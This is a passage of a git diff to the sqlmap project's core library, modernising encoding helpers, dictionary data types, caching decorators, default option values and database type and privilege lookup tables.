__enter__(self): + self._fh.__enter__() + return self + + def __exit__(self, exc_type, exc, tb): + return self._fh.__exit__(exc_type, exc, tb) + + +def _codecs_open(filename, mode="r", encoding=None, errors="strict", buffering=-1): + """ + Replacement for deprecated codecs.open() entry point with sqlmap-friendly behavior. + + - If encoding is None: return io.open(...) as-is. + - If encoding is set: force underlying binary mode and wrap via StreamReaderWriter + (like codecs.open()). + - For write-ish modes: return a wrapper that also accepts bytes on .write(). + - Handles buffering=1 in binary mode by downgrading underlying buffering to -1, + while optionally preserving "flush on newline" behavior in the wrapper. + """ + if encoding is None: + return io.open(filename, mode, buffering=buffering) + + bmode = mode + if "b" not in bmode: + bmode += "b" + + # Avoid line-buffering warnings/errors on binary streams + line_buffered = (buffering == 1) + if line_buffered: + buffering = -1 + + f = io.open(filename, bmode, buffering=buffering) + + try: + info = codecs.lookup(encoding) + srw = codecs.StreamReaderWriter(f, info.streamreader, info.streamwriter, errors) + srw.encoding = encoding + + if _is_write_mode(mode): + return MixedWriteTextIO(srw, encoding, errors, line_buffered=line_buffered) + + return srw + except Exception: + try: + f.close() + finally: + raise + +codecs_open = _codecs_open if sys.version_info >= (3, 14) else codecs.open diff --git a/lib/core/convert.py b/lib/core/convert.py index 156ee12a672..0b4cddd739e 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -1,148 +1,472 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: - import hashlib + import cPickle as pickle except: - import md5 - import sha + import pickle -import pickle +import base64 +import binascii +import codecs +import json import re import sys -import struct -import urllib +import time +from lib.core.bigarray import BigArray +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb -from lib.core.enums import PLACE +from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA +from lib.core.settings import IS_TTY +from lib.core.settings import IS_WIN +from lib.core.settings import NULL +from lib.core.settings import PICKLE_PROTOCOL +from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import UNICODE_ENCODING -from lib.core.settings import URLENCODE_CHAR_LIMIT -from lib.core.settings import URLENCODE_FAILSAFE_CHARS +from thirdparty import six +from thirdparty.six import unichr as _unichr +from thirdparty.six.moves import html_parser +from thirdparty.six.moves import collections_abc as _collections -def base64decode(value): - return value.decode("base64") - -def base64encode(value): - return value.encode("base64")[:-1].replace("\n", "") +try: + from html import escape as htmlEscape +except ImportError: + from cgi import escape as htmlEscape def base64pickle(value): - return base64encode(pickle.dumps(value, pickle.HIGHEST_PROTOCOL)) + """ + Serializes (with pickle) and encodes to Base64 format supplied (binary) value + + >>> base64unpickle(base64pickle([1, 2, 3])) == [1, 2, 3] + True + """ + + retVal = None + + try: + retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False) + except: + warnMsg = "problem occurred while serializing " + warnMsg += "instance of a type '%s'" % type(value) + singleTimeWarnMessage(warnMsg) + + try: + retVal = encodeBase64(pickle.dumps(value), binary=False) + except: + raise + + return retVal def base64unpickle(value): - return pickle.loads(base64decode(value)) + """ + Decodes value from Base64 to plain format and deserializes (with pickle) its content -def hexdecode(value): - value = value.lower() - return (value[2:] if value.startswith("0x") else value).decode("hex") + >>> type(base64unpickle('gAJjX19idWlsdGluX18Kb2JqZWN0CnEBKYFxAi4=')) == object + True + """ -def hexencode(value): - return value.encode("hex") + retVal = None -def md5hash(value): - if sys.modules.has_key('hashlib'): - return hashlib.md5(value).hexdigest() - else: - return md5.new(value).hexdigest() + try: + retVal = pickle.loads(decodeBase64(value)) + except TypeError: + retVal = pickle.loads(decodeBase64(bytes(value))) + + return retVal + +def htmlUnescape(value): + """ + Returns HTML unescaped value + + >>> htmlUnescape('a<b') == 'a>> htmlUnescape('a<b') == 'a>> htmlUnescape('foobar') == 'foobar' + True + >>> htmlUnescape('foobar') == 'foobar' + True + >>> htmlUnescape('©€') == htmlUnescape('©€') + True + """ + + if value and isinstance(value, six.string_types): + if six.PY3: + import html + return html.unescape(value) + else: + return html_parser.HTMLParser().unescape(value) + return value + +def singleTimeWarnMessage(message): # Cross-referenced function + sys.stdout.write(message) + sys.stdout.write("\n") + sys.stdout.flush() + +def filterNone(values): # Cross-referenced function + return [_ for _ in values if _] if isinstance(values, _collections.Iterable) else values + +def isListLike(value): # Cross-referenced function + return isinstance(value, (list, tuple, set, BigArray)) + +def shellExec(cmd): # Cross-referenced function + raise NotImplementedError + +def jsonize(data): + """ + Returns JSON serialized data + + >>> jsonize({'foo':'bar'}) + '{\\n "foo": "bar"\\n}' + """ + + return json.dumps(data, sort_keys=False, indent=4) + +def dejsonize(data): + """ + Returns JSON deserialized data + + >>> dejsonize('{\\n "foo": "bar"\\n}') == {u'foo': u'bar'} + True + """ + + return json.loads(data) + +def decodeHex(value, binary=True): + """ + Returns a decoded representation of the provided hexadecimal value + + >>> decodeHex("313233") == b"123" + True + >>> decodeHex("313233", binary=False) == u"123" + True + """ + + retVal = value + + if isinstance(value, six.binary_type): + value = getText(value) + + if value.lower().startswith("0x"): + value = value[2:] + + try: + retVal = codecs.decode(value, "hex") + except LookupError: + retVal = binascii.unhexlify(value) + + if not binary: + retVal = getText(retVal) + + return retVal + +def encodeHex(value, binary=True): + """ + Returns an encoded representation of the provided value + + >>> encodeHex(b"123") == b"313233" + True + >>> encodeHex("123", binary=False) + '313233' + >>> encodeHex(b"123"[0]) == b"31" + True + >>> encodeHex(123, binary=False) + '7b' + """ + + if isinstance(value, int): + value = six.int2byte(value) + + if isinstance(value, six.text_type): + value = value.encode(UNICODE_ENCODING) + + try: + retVal = codecs.encode(value, "hex") + except LookupError: + retVal = binascii.hexlify(value) + + if not binary: + retVal = getText(retVal) + + return retVal + +def decodeBase64(value, binary=True, encoding=None): + """ + Returns a decoded representation of provided Base64 value + + >>> decodeBase64("MTIz") == b"123" + True + >>> decodeBase64("MTIz", binary=False) + '123' + >>> decodeBase64("A-B_CDE") == decodeBase64("A+B/CDE") + True + >>> decodeBase64(b"MTIzNA") == b"1234" + True + >>> decodeBase64("MTIzNA") == b"1234" + True + >>> decodeBase64("MTIzNA==") == b"1234" + True + """ + + if value is None: + return None -def orddecode(value): - packedString = struct.pack("!"+"I" * len(value), *value) - return "".join(chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)) + padding = b'=' if isinstance(value, bytes) else '=' -def ordencode(value): - return tuple(ord(char) for char in value) + # Reference: https://stackoverflow.com/a/49459036 + if not value.endswith(padding): + value += 3 * padding -def sha1hash(value): - if sys.modules.has_key('hashlib'): - return hashlib.sha1(value).hexdigest() + # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications + # Reference: https://perldoc.perl.org/MIME/Base64.html + if isinstance(value, bytes): + value = value.replace(b'-', b'+').replace(b'_', b'/') else: - return sha.new(value).hexdigest() + value = value.replace('-', '+').replace('_', '/') -def urldecode(value, encoding=None): - result = None + retVal = base64.b64decode(value) - if value: - try: - # for cases like T%C3%BCrk%C3%A7e - value = str(value) - except ValueError: - pass - finally: - result = urllib.unquote_plus(value) + if not binary: + retVal = getText(retVal, encoding) - if isinstance(result, str): - result = unicode(result, encoding or UNICODE_ENCODING, "replace") + return retVal - return result +def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False): + """ + Returns a Base64 encoded representation of the provided value + + >>> encodeBase64(b"123") == b"MTIz" + True + >>> encodeBase64(u"1234", binary=False) + 'MTIzNA==' + >>> encodeBase64(u"1234", binary=False, padding=False) + 'MTIzNA' + >>> encodeBase64(decodeBase64("A-B_CDE"), binary=False, safe=True) + 'A-B_CDE' + """ -def urlencode(value, safe="%&=", convall=False, limit=False): - if conf.direct or PLACE.SOAP in conf.paramDict: - return value + if value is None: + return None - count = 0 - result = None if value is None else "" + if isinstance(value, six.text_type): + value = value.encode(encoding or UNICODE_ENCODING) - if value: - if convall or safe is None: - safe = "" + retVal = base64.b64encode(value) - # corner case when character % really needs to be - # encoded (when not representing url encoded char) - # except in cases when tampering scripts are used - if all(map(lambda x: '%' in x, [safe, value])) and not kb.tamperFunctions: - value = re.sub("%(?![0-9a-fA-F]{2})", "%25", value) + if not binary: + retVal = getText(retVal, encoding) - while True: - result = urllib.quote(utf8encode(value), safe) + if safe: + padding = False - if limit and len(result) > URLENCODE_CHAR_LIMIT: - if count >= len(URLENCODE_FAILSAFE_CHARS): - break + # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications + # Reference: https://perldoc.perl.org/MIME/Base64.html + if isinstance(retVal, bytes): + retVal = retVal.replace(b'+', b'-').replace(b'/', b'_') + else: + retVal = retVal.replace('+', '-').replace('/', '_') - while count < len(URLENCODE_FAILSAFE_CHARS): - safe += URLENCODE_FAILSAFE_CHARS[count] - count += 1 - if safe[-1] in value: - break - else: - break + if not padding: + retVal = retVal.rstrip(b'=' if isinstance(retVal, bytes) else '=') - return result + return retVal -def unicodeencode(value, encoding=None): +def getBytes(value, encoding=None, errors="strict", unsafe=True): """ - Return 8-bit string representation of the supplied unicode value: + Returns byte representation of provided Unicode value - >>> unicodeencode(u'test') - 'test' + >>> getBytes(u"foo\\\\x01\\\\x83\\\\xffbar") == b"foo\\x01\\x83\\xffbar" + True """ retVal = value - if isinstance(value, unicode): - try: - retVal = value.encode(encoding or UNICODE_ENCODING) - except UnicodeEncodeError: - retVal = value.encode(UNICODE_ENCODING, "replace") + + if encoding is None: + encoding = conf.get("encoding") or UNICODE_ENCODING + + try: + codecs.lookup(encoding) + except (LookupError, TypeError): + encoding = UNICODE_ENCODING + + if isinstance(value, bytearray): + return bytes(value) + elif isinstance(value, memoryview): + return value.tobytes() + elif isinstance(value, six.text_type): + if INVALID_UNICODE_PRIVATE_AREA: + if unsafe: + for char in xrange(0xF0000, 0xF00FF + 1): + value = value.replace(_unichr(char), "%s%02x" % (SAFE_HEX_MARKER, char - 0xF0000)) + + retVal = value.encode(encoding, errors) + + if unsafe: + retVal = re.sub((r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER).encode(), lambda _: decodeHex(_.group(1)), retVal) + else: + try: + retVal = value.encode(encoding, errors) + except UnicodeError: + retVal = value.encode(UNICODE_ENCODING, errors="replace") + + if unsafe: + retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal) + return retVal -def utf8encode(value): - return unicodeencode(value, "utf-8") +def getOrds(value): + """ + Returns ORD(...) representation of provided string value + + >>> getOrds(u'fo\\xf6bar') + [102, 111, 246, 98, 97, 114] + >>> getOrds(b"fo\\xc3\\xb6bar") + [102, 111, 195, 182, 98, 97, 114] + """ + + return [_ if isinstance(_, int) else ord(_) for _ in value] -def utf8decode(value): - return value.decode("utf-8") +def getUnicode(value, encoding=None, noneToNull=False): + """ + Returns the unicode representation of the supplied value + + >>> getUnicode('test') == u'test' + True + >>> getUnicode(1) == u'1' + True + >>> getUnicode(None) == 'None' + True + >>> getUnicode(b'/etc/passwd') == '/etc/passwd' + True + """ + + # Best position for --time-limit mechanism + if conf.get("timeLimit") and kb.get("startTime") and (time.time() - kb.startTime > conf.timeLimit): + raise SystemExit + + if noneToNull and value is None: + return NULL -def htmlescape(value): - _ = (('&', '&'), ('<', '<'), ('>', '>'), ('"', '"'), ("'", '''), (' ', ' ')) - return reduce(lambda x, y: x.replace(y[0], y[1]), _, value) + if isinstance(value, six.text_type): + return value + elif isinstance(value, six.binary_type): + # Heuristics (if encoding not explicitly specified) + candidates = filterNone((encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding())) + if all(_ in value for _ in (b'<', b'>')): + pass + elif b'\n' not in value and re.search(r"(?i)\w+\.\w{2,3}\Z|\A(\w:\\|/\w+)", six.text_type(value, UNICODE_ENCODING, errors="ignore")): + candidates = filterNone((encoding, sys.getfilesystemencoding(), kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, conf.get("encoding"))) + elif conf.get("encoding") and b'\n' not in value: + candidates = filterNone((encoding, conf.get("encoding"), kb.get("pageEncoding") if kb.get("originalPage") else None, sys.getfilesystemencoding(), UNICODE_ENCODING)) + + for candidate in candidates: + try: + return six.text_type(value, candidate) + except (UnicodeDecodeError, LookupError): + pass + + try: + return six.text_type(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) + except UnicodeDecodeError: + return six.text_type(value, UNICODE_ENCODING, errors="reversible") + elif isListLike(value): + value = list(getUnicode(_, encoding, noneToNull) for _ in value) + return value + else: + try: + return six.text_type(value) + except UnicodeDecodeError: + return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances + +def getText(value, encoding=None): + """ + Returns textual value of a given value (Note: not necessary Unicode on Python2) + + >>> getText(b"foobar") + 'foobar' + >>> isinstance(getText(u"fo\\u2299bar"), six.text_type) + True + """ -def htmlunescape(value): retVal = value - if value and isinstance(value, basestring): - _ = (('&', '&'), ('<', '<'), ('>', '>'), ('"', '"'), (' ', ' ')) - retVal = reduce(lambda x, y: x.replace(y[0], y[1]), _, retVal) - retVal = re.sub('&#(\d+);', lambda x: unichr(int(x.group(1))), retVal) + + if isinstance(value, six.binary_type): + retVal = getUnicode(value, encoding) + + if six.PY2: + try: + retVal = str(retVal) + except: + pass + + return retVal + +def stdoutEncode(value): + """ + Returns textual representation of a given value safe for writing to stdout + >>> stdoutEncode(b"foobar") + 'foobar' + """ + + if value is None: + value = "" + + if IS_WIN and IS_TTY and kb.get("codePage", -1) is None: + output = shellExec("chcp") + match = re.search(r": (\d{3,})", output or "") + + if match: + try: + candidate = "cp%s" % match.group(1) + codecs.lookup(candidate) + kb.codePage = candidate + except (LookupError, TypeError): + pass + + kb.codePage = kb.codePage or "" + + encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING + + if six.PY3: + if isinstance(value, (bytes, bytearray)): + value = getUnicode(value, encoding) + elif not isinstance(value, str): + value = str(value) + + try: + retVal = value.encode(encoding, errors="replace").decode(encoding, errors="replace") + except (LookupError, TypeError): + retVal = value.encode("ascii", errors="replace").decode("ascii", errors="replace") + else: + if isinstance(value, six.text_type): + try: + retVal = value.encode(encoding, errors="replace") + except (LookupError, TypeError): + retVal = value.encode("ascii", errors="replace") + else: + retVal = value + + return retVal + +def getConsoleLength(value): + """ + Returns console width of unicode values + + >>> getConsoleLength("abc") + 3 + >>> getConsoleLength(u"\\u957f\\u6c5f") + 4 + """ + + if isinstance(value, six.text_type): + retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value) + else: + retVal = len(value) + return retVal diff --git a/lib/core/data.py b/lib/core/data.py index b17895b1350..5523a60c49a 100644 --- a/lib/core/data.py +++ b/lib/core/data.py @@ -1,12 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.datatype import AttribDict -from lib.core.settings import LOGGER +from lib.core.log import LOGGER # sqlmap paths paths = AttribDict() @@ -14,6 +14,9 @@ # object to store original command line options cmdLineOptions = AttribDict() +# object to store merged options (command line, configuration file and default options) +mergedOptions = AttribDict() + # object to share within function and classes command # line options and settings conf = AttribDict() diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 7e3728a11fb..b0b1809f8a8 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -1,33 +1,37 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import copy +import threading import types -from lib.core.exception import sqlmapDataException +from thirdparty.odict import OrderedDict +from thirdparty.six.moves import collections_abc as _collections class AttribDict(dict): """ - This class defines the sqlmap object, inheriting from Python data - type dictionary. + This class defines the dictionary with added capability to access members as attributes + + >>> foo = AttribDict() + >>> foo.bar = 1 + >>> foo.bar + 1 + >>> import copy; copy.deepcopy(foo).bar + 1 """ - def __init__(self, indict=None, attribute=None): + def __init__(self, indict=None, attribute=None, keycheck=True): if indict is None: indict = {} - # Set any attributes here - before initialisation - # these remain as normal attributes - self.attribute = attribute dict.__init__(self, indict) - self.__initialised = True - - # After initialisation, setting attributes - # is the same as setting an item + self.__dict__["_attribute"] = attribute + self.__dict__["_keycheck"] = keycheck + self.__dict__["_initialized"] = True def __getattr__(self, item): """ @@ -38,7 +42,23 @@ def __getattr__(self, item): try: return self.__getitem__(item) except KeyError: - raise sqlmapDataException, "unable to access item '%s'" % item + if self.__dict__.get("_keycheck"): + raise AttributeError("unable to access item '%s'" % item) + else: + return None + + def __delattr__(self, item): + """ + Deletes attributes + """ + + try: + return self.pop(item) + except KeyError: + if self.__dict__.get("_keycheck"): + raise AttributeError("unable to access item '%s'" % item) + else: + return None def __setattr__(self, item, value): """ @@ -46,14 +66,8 @@ def __setattr__(self, item, value): Only if we are initialised """ - # This test allows attributes to be set in the __init__ method - if not self.__dict__.has_key('_AttribDict__initialised'): - return dict.__setattr__(self, item, value) - - # Any normal attributes are handled normally - elif self.__dict__.has_key(item): - dict.__setattr__(self, item, value) - + if "_initialized" not in self.__dict__ or item in self.__dict__: + self.__dict__[item] = value else: self.__setitem__(item, value) @@ -64,19 +78,21 @@ def __setstate__(self, dict): self.__dict__ = dict def __deepcopy__(self, memo): - retVal = self.__class__() + retVal = self.__class__(keycheck=self.__dict__.get("_keycheck")) memo[id(self)] = retVal - for attr in dir(self): - if not attr.startswith('_'): - value = getattr(self, attr) - if not isinstance(value, (types.BuiltinFunctionType, types.BuiltinFunctionType, types.FunctionType, types.MethodType)): - setattr(retVal, attr, copy.deepcopy(value, memo)) + + for attr, value in self.__dict__.items(): + if attr not in ('_attribute', '_keycheck', '_initialized'): + setattr(retVal, attr, copy.deepcopy(value, memo)) + + for key, value in self.items(): + retVal.__setitem__(key, copy.deepcopy(value, memo)) return retVal class InjectionDict(AttribDict): - def __init__(self): - AttribDict.__init__(self) + def __init__(self, **kwargs): + AttribDict.__init__(self, **kwargs) self.place = None self.parameter = None @@ -84,6 +100,7 @@ def __init__(self): self.prefix = None self.suffix = None self.clause = None + self.notes = [] # Note: https://github.com/sqlmapproject/sqlmap/issues/1888 # data is a dict with various stype, each which is a dict with # all the information specific for that stype @@ -96,3 +113,129 @@ def __init__(self): self.dbms = None self.dbms_version = None self.os = None + +# Reference: https://www.kunxi.org/2014/05/lru-cache-in-python +class LRUDict(object): + """ + This class defines the LRU dictionary + + >>> foo = LRUDict(capacity=2) + >>> foo["first"] = 1 + >>> foo["second"] = 2 + >>> foo["third"] = 3 + >>> "first" in foo + False + >>> "third" in foo + True + """ + + def __init__(self, capacity): + self.capacity = capacity + self.cache = OrderedDict() + self.__lock = threading.Lock() + + def __len__(self): + return len(self.cache) + + def __contains__(self, key): + return key in self.cache + + def __getitem__(self, key): + with self.__lock: + value = self.cache.pop(key) + self.cache[key] = value + return value + + def get(self, key, default=None): + try: + return self.__getitem__(key) + except: + return default + + def __setitem__(self, key, value): + with self.__lock: + try: + self.cache.pop(key) + except KeyError: + if len(self.cache) >= self.capacity: + self.cache.popitem(last=False) + self.cache[key] = value + + def set(self, key, value): + self.__setitem__(key, value) + + def keys(self): + return self.cache.keys() + +# Reference: https://code.activestate.com/recipes/576694/ +class OrderedSet(_collections.MutableSet): + """ + This class defines the set with ordered (as added) items + + >>> foo = OrderedSet() + >>> foo.add(1) + >>> foo.add(2) + >>> foo.add(3) + >>> foo.pop() + 3 + >>> foo.pop() + 2 + >>> foo.pop() + 1 + """ + + def __init__(self, iterable=None): + self.end = end = [] + end += [None, end, end] # sentinel node for doubly linked list + self.map = {} # key --> [key, prev, next] + if iterable is not None: + self |= iterable + + def __len__(self): + return len(self.map) + + def __contains__(self, key): + return key in self.map + + def add(self, value): + if value not in self.map: + end = self.end + curr = end[1] + curr[2] = end[1] = self.map[value] = [value, curr, end] + + def discard(self, value): + if value in self.map: + value, prev, next = self.map.pop(value) + prev[2] = next + next[1] = prev + + def __iter__(self): + end = self.end + curr = end[2] + while curr is not end: + yield curr[0] + curr = curr[2] + + def __reversed__(self): + end = self.end + curr = end[1] + while curr is not end: + yield curr[0] + curr = curr[1] + + def pop(self, last=True): + if not self: + raise KeyError('set is empty') + key = self.end[1][0] if last else self.end[2][0] + self.discard(key) + return key + + def __repr__(self): + if not self: + return '%s()' % (self.__class__.__name__,) + return '%s(%r)' % (self.__class__.__name__, list(self)) + + def __eq__(self, other): + if isinstance(other, OrderedSet): + return len(self) == len(other) and list(self) == list(other) + return set(self) == set(other) diff --git a/lib/core/decorators.py b/lib/core/decorators.py new file mode 100644 index 00000000000..53603e81637 --- /dev/null +++ b/lib/core/decorators.py @@ -0,0 +1,128 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import functools +import threading + +from lib.core.datatype import LRUDict +from lib.core.settings import MAX_CACHE_ITEMS +from lib.core.threads import getCurrentThreadData + +_cache = {} +_method_locks = {} + +def cachedmethod(f): + """ + Method with a cached content + + >>> __ = cachedmethod(lambda _: _) + >>> __(1) + 1 + >>> __(1) + 1 + >>> __ = cachedmethod(lambda *args, **kwargs: args[0]) + >>> __(2) + 2 + >>> __ = cachedmethod(lambda *args, **kwargs: next(iter(kwargs.values()))) + >>> __(foobar=3) + 3 + + Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/ + """ + + _cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS) + _method_locks[f] = threading.RLock() + + def _freeze(val): + if isinstance(val, (list, set, tuple)): + return tuple(_freeze(x) for x in val) + if isinstance(val, dict): + return tuple(sorted((k, _freeze(v)) for k, v in val.items())) + return val + + @functools.wraps(f) + def _f(*args, **kwargs): + lock, cache = _method_locks[f], _cache[f] + + try: + if kwargs: + key = (args, frozenset(kwargs.items())) + else: + key = args + + with lock: + if key in cache: + return cache[key] + + except TypeError: + # Note: fallback (slowpath( + if kwargs: + key = (_freeze(args), _freeze(kwargs)) + else: + key = _freeze(args) + + with lock: + if key in cache: + return cache[key] + + result = f(*args, **kwargs) + + with lock: + cache[key] = result + + return result + + return _f + +def stackedmethod(f): + """ + Method using pushValue/popValue functions (fallback function for stack realignment) + + >>> threadData = getCurrentThreadData() + >>> original = len(threadData.valueStack) + >>> __ = stackedmethod(lambda _: threadData.valueStack.append(_)) + >>> __(1) + >>> len(threadData.valueStack) == original + True + """ + + @functools.wraps(f) + def _(*args, **kwargs): + threadData = getCurrentThreadData() + originalLevel = len(threadData.valueStack) + + try: + result = f(*args, **kwargs) + finally: + if len(threadData.valueStack) > originalLevel: + del threadData.valueStack[originalLevel:] + + return result + + return _ + +def lockedmethod(f): + """ + Decorates a function or method with a reentrant lock (only one thread can execute the function at a time) + + >>> @lockedmethod + ... def recursive_count(n): + ... if n <= 0: return 0 + ... return n + recursive_count(n - 1) + >>> recursive_count(5) + 15 + """ + + lock = threading.RLock() + + @functools.wraps(f) + def _(*args, **kwargs): + with lock: + result = f(*args, **kwargs) + return result + + return _ diff --git a/lib/core/defaults.py b/lib/core/defaults.py index 6e1702d9862..743ab6a26b9 100644 --- a/lib/core/defaults.py +++ b/lib/core/defaults.py @@ -1,27 +1,29 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.datatype import AttribDict -_defaults = { - "csvDel": ",", - "timeSec": 5, - "googlePage": 1, - "cpuThrottle": 5, - "verbose": 1, - "delay": 0, - "timeout": 30, - "retries": 3, - "saFreq": 0, - "threads": 1, - "level": 1, - "risk": 1, - "tech": "BEUST", - "torType": "HTTP" - } +_defaults = { + "csvDel": ',', + "timeSec": 5, + "googlePage": 1, + "verbose": 1, + "delay": 0, + "timeout": 30, + "retries": 3, + "csrfRetries": 0, + "safeFreq": 0, + "threads": 1, + "level": 1, + "risk": 1, + "dumpFormat": "CSV", + "tablePrefix": "sqlmap", + "technique": "BEUSTQ", + "torType": "SOCKS5", +} defaults = AttribDict(_defaults) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 6f876ab9236..a1baf0db3a2 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -1,109 +1,691 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -firebirdTypes = { - "261":"BLOB", - "14":"CHAR", - "40":"CSTRING", - "11":"D_FLOAT", - "27":"DOUBLE", - "10":"FLOAT", - "16":"INT64", - "8":"INTEGER", - "9":"QUAD", - "7":"SMALLINT", - "12":"DATE", - "13":"TIME", - "35":"TIMESTAMP", - "37":"VARCHAR" - } - -sybaseTypes = { - "14":"floatn", - "8":"float", - "15":"datetimn", - "12":"datetime", - "23":"real", - "28":"numericn", - "10":"numeric", - "27":"decimaln", - "26":"decimal", - "17":"moneyn", - "11":"money", - "21":"smallmoney", - "22":"smalldatetime", - "13":"intn", - "7":"int", - "6":"smallint", - "5":"tinyint", - "16":"bit", - "2":"varchar", - "18":"sysname", - "25":"nvarchar", - "1":"char", - "24":"nchar", - "4":"varbinary", - "80":"timestamp", - "3":"binary", - "19":"text", - "20":"image", - } - -mysqlPrivs = { - 1:"select_priv", - 2:"insert_priv", - 3:"update_priv", - 4:"delete_priv", - 5:"create_priv", - 6:"drop_priv", - 7:"reload_priv", - 8:"shutdown_priv", - 9:"process_priv", - 10:"file_priv", - 11:"grant_priv", - 12:"references_priv", - 13:"index_priv", - 14:"alter_priv", - 15:"show_db_priv", - 16:"super_priv", - 17:"create_tmp_table_priv", - 18:"lock_tables_priv", - 19:"execute_priv", - 20:"repl_slave_priv", - 21:"repl_client_priv", - 22:"create_view_priv", - 23:"show_view_priv", - 24:"create_routine_priv", - 25:"alter_routine_priv", - 26:"create_user_priv", - } - -pgsqlPrivs = { - 1:"createdb", - 2:"super", - 3:"catupd", - } - -firebirdPrivs = { - "S": "SELECT", - "I": "INSERT", - "U": "UPDATE", - "D": "DELETE", - "R": "REFERENCES", - "E": "EXECUTE" - } - -db2Privs = { - 1: "CONTROLAUTH", - 2: "ALTERAUTH", - 3: "DELETEAUTH", - 4: "INDEXAUTH", - 5: "INSERTAUTH", - 6: "REFAUTH", - 7: "SELECTAUTH", - 8: "UPDATEAUTH" - } +from lib.core.enums import CONTENT_TYPE +from lib.core.enums import DBMS +from lib.core.enums import OS +from lib.core.enums import POST_HINT +from lib.core.settings import ACCESS_ALIASES +from lib.core.settings import ALTIBASE_ALIASES +from lib.core.settings import BLANK +from lib.core.settings import CACHE_ALIASES +from lib.core.settings import CRATEDB_ALIASES +from lib.core.settings import CUBRID_ALIASES +from lib.core.settings import DB2_ALIASES +from lib.core.settings import DERBY_ALIASES +from lib.core.settings import EXTREMEDB_ALIASES +from lib.core.settings import FIREBIRD_ALIASES +from lib.core.settings import FRONTBASE_ALIASES +from lib.core.settings import H2_ALIASES +from lib.core.settings import HSQLDB_ALIASES +from lib.core.settings import INFORMIX_ALIASES +from lib.core.settings import MAXDB_ALIASES +from lib.core.settings import MCKOI_ALIASES +from lib.core.settings import MIMERSQL_ALIASES +from lib.core.settings import MONETDB_ALIASES +from lib.core.settings import MSSQL_ALIASES +from lib.core.settings import MYSQL_ALIASES +from lib.core.settings import NULL +from lib.core.settings import ORACLE_ALIASES +from lib.core.settings import PGSQL_ALIASES +from lib.core.settings import PRESTO_ALIASES +from lib.core.settings import RAIMA_ALIASES +from lib.core.settings import SQLITE_ALIASES +from lib.core.settings import SYBASE_ALIASES +from lib.core.settings import VERTICA_ALIASES +from lib.core.settings import VIRTUOSO_ALIASES +from lib.core.settings import CLICKHOUSE_ALIASES +from lib.core.settings import SNOWFLAKE_ALIASES + +FIREBIRD_TYPES = { + 261: "BLOB", + 14: "CHAR", + 40: "CSTRING", + 11: "D_FLOAT", + 27: "DOUBLE", + 10: "FLOAT", + 16: "INT64", + 8: "INTEGER", + 9: "QUAD", + 7: "SMALLINT", + 12: "DATE", + 13: "TIME", + 35: "TIMESTAMP", + 37: "VARCHAR", +} + +INFORMIX_TYPES = { + 0: "CHAR", + 1: "SMALLINT", + 2: "INTEGER", + 3: "FLOAT", + 4: "SMALLFLOAT", + 5: "DECIMAL", + 6: "SERIAL", + 7: "DATE", + 8: "MONEY", + 9: "NULL", + 10: "DATETIME", + 11: "BYTE", + 12: "TEXT", + 13: "VARCHAR", + 14: "INTERVAL", + 15: "NCHAR", + 16: "NVARCHAR", + 17: "INT8", + 18: "SERIAL8", + 19: "SET", + 20: "MULTISET", + 21: "LIST", + 22: "ROW (unnamed)", + 23: "COLLECTION", + 40: "Variable-length opaque type", + 41: "Fixed-length opaque type", + 43: "LVARCHAR", + 45: "BOOLEAN", + 52: "BIGINT", + 53: "BIGSERIAL", + 2061: "IDSSECURITYLABEL", + 4118: "ROW (named)", +} + +SYBASE_TYPES = { + 14: "floatn", + 8: "float", + 15: "datetimn", + 12: "datetime", + 23: "real", + 28: "numericn", + 10: "numeric", + 27: "decimaln", + 26: "decimal", + 17: "moneyn", + 11: "money", + 21: "smallmoney", + 22: "smalldatetime", + 13: "intn", + 7: "int", + 6: "smallint", + 5: "tinyint", + 16: "bit", + 2: "varchar", + 18: "sysname", + 25: 